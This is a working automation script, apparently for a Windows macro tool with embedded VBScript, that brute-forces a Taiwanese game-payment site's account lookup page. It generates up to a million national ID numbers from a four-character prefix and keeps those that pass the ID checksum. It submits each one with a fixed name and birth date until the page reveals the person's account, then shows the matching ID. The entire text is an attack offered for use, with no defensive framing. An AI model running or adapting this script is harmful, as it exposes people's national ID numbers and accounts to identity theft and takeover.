UserVar NameVal=魔幻小鱉 姓名
UserVar strID_Var=S123 身份證前四碼
UserVar YearVal=1985 西元xxxx年
UserVar MonthVal=10 月
UserVar DayVal=16 日
VBS Dim objIE,x,n,CheckSum,strID
VBS n=0
VBS CheckSum=1
// 啟動IE
VBS Set objIE = CreateObject("InternetExplorer.Application")
VBS objIE.Visible=true
// 打開預設網頁
VBS objIE.Navigate "https://tw.gash.gamania.com/LookUpGASHID.aspx"
// 判斷頁面是否讀取完畢
While objIE.Busy Or  objIE.ReadyState <> 4
    Delay 50
EndWhile 
// 視窗放大
KeyDown 18,1
KeyPress 32,1
KeyUp 18,1
KeyPress 88,1
// 開始查詢身份證，並輸入到網頁
For 1000000
    strID=strID_Var & Right("00000" & n,6)
    Gosub CheckID
    If CheckSum Mod 10 = 0
        Gosub InputID
    EndIf 
    // 累計數字
    VBS n=n+1
EndFor 
// 結束
Rem FindEnd
EndScript 
// ==============身份証號碼驗証=================
Sub CheckID
    CheckSum=1
    // 轉換大寫
    UserID = UCase(strID)
    // 取得開頭英文字母
    AreaCode = Left(UserID, 1)
    // 確定身證有10碼
    If Len(UserID) = 10
        // 確定首碼在A-Z之間
        If AreaCode >= "A" And AreaCode <= "Z"
            // 確定2-10碼是數字
            If IsNumeric(Mid(UserID, 2))
                // 取得首碼對應的區域碼，A ->10, B->11, ..H->17,I->34, J->18...
                AreaNo = InStr("ABCDEFGHJKLMNPQRSTUVXYWZIO", AreaCode) + 9
                UserID = CStr(AreaNo) + Mid(UserID, 2)
                // 取得CheckSum的值
                CheckSum = CLng(Mid(UserID, 1, 1)) + CLng(Mid(UserID, 11, 1))
                I=2
                For 9
                    CheckSum = CheckSum + CLng(Mid(UserID, I, 1)) * (11 - I)
                    I=I+1
                EndFor 
            EndIf 
        EndIf 
    EndIf 
Return CheckID
// ==============網頁中輸入身份證號碼=================
Sub InputID
    // 姓名
    VBS objIE.Document.All("ctl00$ContentPlaceHolder1$tbRealName").Value = NameVal
    // 身份証
    VBS objIE.Document.All("ctl00$ContentPlaceHolder1$tbPersonalID").Value = strID
    // 西元
    VBS objIE.Document.All("ctl00$ContentPlaceHolder1$tbBYear").Value = YearVal
    // 月
    VBS objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBMonth").Value = MonthVal
    // 日
    VBS objIE.Document.All("ctl00$ContentPlaceHolder1$ddlBDay").Value = DayVal
    // 點選
    VBS objIE.Document.All("ctl00$ContentPlaceHolder1$btnSubmit").Click()
    // 判斷頁面是否讀取完畢
    While objIE.Busy Or  objIE.ReadyState <> 4
        Delay 50
    EndWhile 
    // 讀取完成，開始其它腳本動作
    VBS strIE = objIE.Document.Body.InnerHTML
    // 核對文字
    x= "以下是您的帳號，請牢記唷!!"
    VBS s=InStr(strIE,x)
    If s>0
        MessageBox "找到了" & strID
        Goto FindEnd
    EndIf 
Return InputID